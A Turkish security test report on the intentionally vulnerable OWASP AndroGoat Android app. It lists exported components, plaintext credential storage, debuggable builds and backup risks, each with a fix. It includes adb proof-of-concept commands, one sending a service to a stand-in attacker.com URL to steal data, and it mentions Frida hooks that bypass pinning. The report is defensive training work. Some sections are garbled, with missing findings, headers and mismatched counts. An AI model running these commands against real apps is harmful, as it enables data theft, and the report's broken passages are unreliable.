Rapor No: GOAT-2025-06-28
Hedef Uygulama: owasp.sat.agoat
Versiyon: 1.0
Test Tarihi: 28 Haziran 2025
Test Türü: Dinamik ve Statik Güvenlik Analizi
Kapsam: Android Mobil Uygulama
Test Araçları: Frida, ADB, Burp Suite, Jadx, SQLite Browser
Hazırlayan: Güvenlik Araştırmacısı
Standartlar: OWASP MSTG v2, CVSS v3.1, ISO/IEC 27001
Yönetici Özeti
owasp.sat.agoat uygulaması, mobil uygulama güvenliği açıklarını eğitimsel amaçla sergileyen bir OWASP projesidir. Gerçekleştirilen güvenlik testi sonucunda 15 adet kritik ve yüksek riskli zafiyet tespit edilmiştir. Bu zafiyetler, veri sızıntısı, yetkisiz erişim, ağ trafiği manipülasyonu ve güvenli olmayan veri saklama gibi kritik güvenlik ihlallerini içerir.
Toplam Risk Dağılımı:
Yüksek (High): 7
Orta (Medium): 4
Düşük (Low): 0
Uygulama, üretim ortamında kullanılmamalıdır. Tespit edilen zafiyetler, gerçek dünya mobil uygulamalarında veri ihlallerine, hesap ele geçirilmelerine ve sistemli saldırıların kapısını aralayabilir.
Detaylı Zafiyet Analizi
Zafiyet #1: Açık Broadcast Receiver (MSTG-APP-08)
Risk Seviyesi: Yüksek (CVSS: 7.5)
Konum: ShowDataReceiver
Açıklama:
Receiver, exported=”true” olarak tanımlanmış ve dış uygulamalar tarafından tetiklenebilir. Bu, yetkisiz veri erişimine yol açar.
adb shell am broadcast -a android.intent.action.VIEW -n owasp.sat.agoat/.ShowDataReceiver
Proof of Concept:
exported=”false” olarak ayarlanmalı.
Gerekliyse, özel permission ile korunmalı
Zafiyet #2: Yetkisiz Service Erişimi (MSTG-APP-07)
Risk Seviyesi: Yüksek (CVSS: 8.1)
Konum: DownloadInvoiceService
Açıklama:
Hizmet, exported=”true” olduğu için kötü niyetli URL’ler ile veri çalınabilir.
Proof of Concept:
adb shell am startservice -n owasp.sat.agoat/.DownloadInvoiceService –es “invoice_url” “http://attacker.com/steal”
Frida ile CertificatePinner, TrustManagerImpl ve OkHTTP hook’lanarak trafik tamamen dinlenebilir.
Remediation:
network_security_config.xml ile sertifika sabitleme (pinning) yapılmalı.
TLS 1.3 zorunlu kılınmalı
Zafiyet #5: Güvenli Olmayan Veri Saklama – SQLite (MSTG-STORAGE-01)
Risk Seviyesi: Orta (CVSS: 6.2)
Konum: InsecureStorageSQLiteActivity
Açıklama:
Kullanıcı adı ve şifreler plaintext olarak SQLite veritabanına kaydediliyor.
Proof of Concept:
INSERT INTO users (username, password) VALUES(‘hh’, ‘hh’)
Remediation:
Veritabanı SQLCipher ile şifrelenmeli.
Şifreler hashlenmeli (bcrypt, scrypt).
Zafiyet #6: Geçici Dosyada Hassas Veri (MSTG-STORAGE-11)
Risk Seviyesi: Yüksek (CVSS: 7.8)
Konum: /data/data/owasp.sat.agoat/users8633548028566675135tmp
İçerik:
username is 66
password is 66
Remediation:
Hassas veriler geçici dosyalara yazılmamalı.
debuggable=”false” yapılmalı.
Zafiyet #7: Uygulama Debuggable (MSTG-CODE-02)
Risk Seviyesi: Yüksek
Açıklama:
Uygulama üretim (release) modunda bile debuggable olarak derlenmiş. Bu, saldırganların:
run-as komutuyla uygulama verilerine erişmesine,
Frida, JDB gibi araçlarla runtime hooking yapmasına,
Bellekten hassas veri (token, şifre) çalmasına olanak tanır.
Remediation:
Release build’larda android:debuggable=”false” yapılmalı (veya hiç belirtilmemeli — varsayılan false).
Zafiyet #8: Açık Broadcast Receiver (MSTG-APP-08)
Risk Seviyesi: Yüksek
Açıklama:
ShowDataReceiver, dış uygulamalar tarafından tetiklenebilir (exported=”true”). Bu, yetkisiz veri erişimi veya bilgi sızıntısına yol açabilir.
Remediation:
exported=”false” yapılmalı.
Gerekliyse, özel permission ile korunmalı.
Zafiyet #9: Açık Service (MSTG-APP-07)
Risk Seviyesi: Yüksek
Açıklama:
Hizmet, dış uygulamalar tarafından başlatılabilir. Kötü niyetli bir uygulama, bu hizmete zararlı URL gönderebilir ve veri çalabilir.
Remediation:
exported=”false” yapılmalı.
Gelen parametreler mutlaka doğrulanmalı.
Zafiyet #10: Açık Deep Link (MSTG-APP-08)
Risk Seviyesi: Orta
Açıklama:
Bu aktivite, androgoat://vulnapp şeklindeki deep link’lerle erişilebilir. URL parametreleri kontrol edilmezse, Open Redirect, XSS veya veri sızıntısı riski doğar.
Remediation:
Risk Seviyesi: Orta
Açıklama:
Uygulamanın verileri adb backup komutuyla kolayca yedeklenebilir. Bu, shared_prefs, databases, files gibi hassas verilerin sızmasına yol açar.
Remediation:
Risk Seviyesi: Orta
Açıklama:
Uygulama, external storage’a (SD kart) yazma ve okuma izni almış. Bu, hassas verilerin her uygulama tarafından okunabilmesine yol açar (özellikle Android 9 ve altı sürümlerde).
Remediation:
External storage’a hassas veri yazılmasın.
Gerekirse, EncryptedFile ile şifrelenmeli.
Önerilen Güvenlik Önlemleri
Tüm dışa aktarılan (exported) bileşenler exported=”false” yapılmalı.
SSL Pinning, NetworkSecurityConfig ile uygulanmalı.
Hassas veriler asla plaintext olarak saklanmamalı.
Logcat, clipboard, klavye önbelleği gibi kanallardan veri sızıntısı engellenmeli.
Release build’larda debuggable=”false” ve allowBackup=”false” olmalı.
Girdi doğrulama ve output encoding zorunlu kılınmalı.